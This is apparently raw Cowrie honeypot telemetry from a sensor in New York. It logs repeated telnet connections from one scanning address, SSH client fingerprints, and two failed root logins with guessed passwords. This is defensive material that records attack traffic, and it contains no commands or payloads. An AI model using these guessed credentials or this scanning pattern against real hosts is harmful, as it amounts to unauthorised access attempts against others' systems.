{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57314,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5d834d18ba3","protocol":"telnet","message":"New connection: 162.55.233.176:57314 (159.203.135.109:23) [session: b5d834d18ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:32.583262Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57316,"dst_ip":"159.203.135.109","dst_port":23,"session":"662b55159c30","protocol":"telnet","message":"New connection: 162.55.233.176:57316 (159.203.135.109:23) [session: 662b55159c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:32.727816Z"}
{"eventid":"cowrie.session.closed","duration":35.55369758605957,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:32.830081Z","src_ip":"162.55.233.176","session":"063516977313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51008,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d8450f2b5bc","protocol":"telnet","message":"New connection: 162.55.233.176:51008 (159.203.135.109:23) [session: 0d8450f2b5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:33.111431Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vq123456","message":"login attempt [root/vq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:33.277325Z","src_ip":"213.209.159.158","session":"773643d3a49f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51036,"dst_ip":"159.203.135.109","dst_port":23,"session":"50e852da9036","protocol":"telnet","message":"New connection: 162.55.233.176:51036 (159.203.135.109:23) [session: 50e852da9036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:33.423574Z"}
{"eventid":"cowrie.session.closed","duration":32.170822620391846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:33.472088Z","src_ip":"162.55.233.176","session":"37a3d0fc9385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.42212700843811,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:33.481320Z","src_ip":"188.208.141.113","session":"0cdd6408930a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.348437786102295,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:33.637395Z","src_ip":"162.55.233.176","session":"41accb61350b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51054,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d4b05461c34","protocol":"telnet","message":"New connection: 162.55.233.176:51054 (159.203.135.109:23) [session: 5d4b05461c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:33.758569Z"}
{"eventid":"cowrie.session.closed","duration":30.779935836791992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:34.446987Z","src_ip":"162.55.233.176","session":"7e4404613dc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94844627380371,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:34.503427Z","src_ip":"162.55.233.176","session":"a388dbf85bc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.66538715362549,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:34.507889Z","src_ip":"162.55.233.176","session":"a7a0d4506ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51086,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d892e788ba1","protocol":"telnet","message":"New connection: 162.55.233.176:51086 (159.203.135.109:23) [session: 7d892e788ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:34.573131Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51098,"dst_ip":"159.203.135.109","dst_port":23,"session":"aed2f7a90a30","protocol":"telnet","message":"New connection: 162.55.233.176:51098 (159.203.135.109:23) [session: aed2f7a90a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:34.703564Z"}
{"eventid":"cowrie.session.closed","duration":33.793452501297,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:34.811082Z","src_ip":"162.55.233.176","session":"39b88f0618ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51122,"dst_ip":"159.203.135.109","dst_port":23,"session":"341dd3e59b0e","protocol":"telnet","message":"New connection: 162.55.233.176:51122 (159.203.135.109:23) [session: 341dd3e59b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:35.701059Z"}
{"eventid":"cowrie.session.closed","duration":31.457916736602783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:35.876539Z","src_ip":"162.55.233.176","session":"0c6d5250a3a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:35.962800Z","src_ip":"213.209.159.158","session":"773643d3a49f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51134,"dst_ip":"159.203.135.109","dst_port":23,"session":"462823b21c8c","protocol":"telnet","message":"New connection: 162.55.233.176:51134 (159.203.135.109:23) [session: 462823b21c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:35.978327Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":17904,"dst_ip":"10.17.0.5","dst_port":22,"session":"a07da18f3c0c","protocol":"ssh","message":"New connection: 213.209.159.158:17904 (10.17.0.5:22) [session: a07da18f3c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:36.045738Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51138,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcc8bd02670b","protocol":"telnet","message":"New connection: 162.55.233.176:51138 (159.203.135.109:23) [session: dcc8bd02670b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:36.265603Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51160,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e0259f1180c","protocol":"telnet","message":"New connection: 162.55.233.176:51160 (159.203.135.109:23) [session: 5e0259f1180c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:36.522931Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51164,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2411f791548","protocol":"telnet","message":"New connection: 162.55.233.176:51164 (159.203.135.109:23) [session: b2411f791548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:36.717975Z"}
{"eventid":"cowrie.session.closed","duration":37.832948446273804,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:36.796937Z","src_ip":"162.55.233.176","session":"5a3f1e4bfd96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51198,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f614acb096","protocol":"telnet","message":"New connection: 162.55.233.176:51198 (159.203.135.109:23) [session: 49f614acb096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:36.916269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:37.421830Z","src_ip":"213.209.159.158","session":"a07da18f3c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:37.425614Z","src_ip":"213.209.159.158","session":"a07da18f3c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.753299236297607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:37.477942Z","src_ip":"162.55.233.176","session":"4938c9025328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51250,"dst_ip":"159.203.135.109","dst_port":23,"session":"928f9120861e","protocol":"telnet","message":"New connection: 162.55.233.176:51250 (159.203.135.109:23) [session: 928f9120861e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:37.726035Z"}
{"eventid":"cowrie.session.closed","duration":49.19678282737732,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:37.917384Z","src_ip":"188.208.141.113","session":"90ea3dc771e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.426799058914185,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.138404Z","src_ip":"162.55.233.176","session":"b3d63a1c7fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51260,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ef46618d71","protocol":"telnet","message":"New connection: 162.55.233.176:51260 (159.203.135.109:23) [session: 30ef46618d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.223772Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51262,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5358ca866e2","protocol":"telnet","message":"New connection: 162.55.233.176:51262 (159.203.135.109:23) [session: a5358ca866e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.230367Z"}
{"eventid":"cowrie.session.closed","duration":31.109117031097412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.351266Z","src_ip":"162.55.233.176","session":"ea1cc1e572c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51282,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8d11c5b3603","protocol":"telnet","message":"New connection: 162.55.233.176:51282 (159.203.135.109:23) [session: b8d11c5b3603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.410652Z"}
{"eventid":"cowrie.session.closed","duration":31.346718788146973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.671130Z","src_ip":"162.55.233.176","session":"2ad433a757e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53660,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f7286359bfb","protocol":"telnet","message":"New connection: 188.208.141.113:53660 (10.17.0.5:23) [session: 7f7286359bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.685214Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51292,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d6d1620dba","protocol":"telnet","message":"New connection: 162.55.233.176:51292 (159.203.135.109:23) [session: b3d6d1620dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.699209Z"}
{"eventid":"cowrie.session.closed","duration":36.21531009674072,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:38.823276Z","src_ip":"162.55.233.176","session":"b0854be06a85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51296,"dst_ip":"159.203.135.109","dst_port":23,"session":"425621887324","protocol":"telnet","message":"New connection: 162.55.233.176:51296 (159.203.135.109:23) [session: 425621887324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:39.047032Z"}
{"eventid":"cowrie.session.closed","duration":33.589357137680054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:39.051862Z","src_ip":"162.55.233.176","session":"3ef454177dc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51314,"dst_ip":"159.203.135.109","dst_port":23,"session":"046a4fa1c528","protocol":"telnet","message":"New connection: 162.55.233.176:51314 (159.203.135.109:23) [session: 046a4fa1c528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:39.268325Z"}
{"eventid":"cowrie.session.closed","duration":33.79897999763489,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:39.630226Z","src_ip":"162.55.233.176","session":"d70588224e59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97965621948242,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:39.896898Z","src_ip":"162.55.233.176","session":"b8ef390ce419","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90380501747131,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:39.938386Z","src_ip":"162.55.233.176","session":"ee2071833531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.46928310394287,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:40.025693Z","src_ip":"162.55.233.176","session":"b36ec14c2d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51342,"dst_ip":"159.203.135.109","dst_port":23,"session":"15c040db98d6","protocol":"telnet","message":"New connection: 162.55.233.176:51342 (159.203.135.109:23) [session: 15c040db98d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:40.274302Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51352,"dst_ip":"159.203.135.109","dst_port":23,"session":"39248cc6d461","protocol":"telnet","message":"New connection: 162.55.233.176:51352 (159.203.135.109:23) [session: 39248cc6d461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:40.365616Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51354,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cdfcbcc913d","protocol":"telnet","message":"New connection: 162.55.233.176:51354 (159.203.135.109:23) [session: 1cdfcbcc913d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:40.413087Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51356,"dst_ip":"159.203.135.109","dst_port":23,"session":"071af9be80a3","protocol":"telnet","message":"New connection: 162.55.233.176:51356 (159.203.135.109:23) [session: 071af9be80a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:40.430378Z"}
{"eventid":"cowrie.session.closed","duration":30.891456842422485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:40.540536Z","src_ip":"162.55.233.176","session":"94c42bbbcf29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51360,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed87bba1aa5","protocol":"telnet","message":"New connection: 162.55.233.176:51360 (159.203.135.109:23) [session: eed87bba1aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:40.681283Z"}
{"eventid":"cowrie.session.closed","duration":32.548903703689575,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:40.855576Z","src_ip":"162.55.233.176","session":"5957434a6d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51368,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ab944581db","protocol":"telnet","message":"New connection: 162.55.233.176:51368 (159.203.135.109:23) [session: 97ab944581db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:41.011977Z"}
{"eventid":"cowrie.session.closed","duration":32.02383017539978,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:41.027904Z","src_ip":"162.55.233.176","session":"4309148c1d1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687453031539917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:41.503203Z","src_ip":"162.55.233.176","session":"dc893debf2c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.73487114906311,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:41.794302Z","src_ip":"188.208.141.113","session":"ac31e1a2a46e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41641688346863,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:42.034703Z","src_ip":"162.55.233.176","session":"71f8ece4dfdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51420,"dst_ip":"159.203.135.109","dst_port":23,"session":"00ce0b330f21","protocol":"telnet","message":"New connection: 162.55.233.176:51420 (159.203.135.109:23) [session: 00ce0b330f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:42.039488Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51438,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9c213c4b6d","protocol":"telnet","message":"New connection: 162.55.233.176:51438 (159.203.135.109:23) [session: 6d9c213c4b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:42.270299Z"}
{"eventid":"cowrie.session.closed","duration":40.17417240142822,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:42.422923Z","src_ip":"162.55.233.176","session":"1033c2b47980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.36369228363037,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.100219Z","src_ip":"162.55.233.176","session":"a4a75f92a5bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45776,"dst_ip":"159.203.135.109","dst_port":23,"session":"20da7501bd04","protocol":"telnet","message":"New connection: 162.55.233.176:45776 (159.203.135.109:23) [session: 20da7501bd04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.104617Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45792,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b8a934d0940","protocol":"telnet","message":"New connection: 162.55.233.176:45792 (159.203.135.109:23) [session: 2b8a934d0940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.408201Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":33564,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8600630be17","protocol":"ssh","message":"New connection: 38.137.11.14:33564 (10.17.0.5:22) [session: a8600630be17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.417044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.421288Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.44670486450195,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.587611Z","src_ip":"162.55.233.176","session":"866ddc80541d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.647479Z","src_ip":"38.137.11.14","session":"a8600630be17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.738341093063354,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.692906Z","src_ip":"162.55.233.176","session":"9439ca00208e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfksirf","message":"login attempt [root/vfksirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.719542Z","src_ip":"213.209.159.158","session":"a07da18f3c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.273595333099365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:43.837363Z","src_ip":"162.55.233.176","session":"87b865df35fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17849135398865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:44.219768Z","src_ip":"162.55.233.176","session":"55da92961139","protocol":"telnet"}
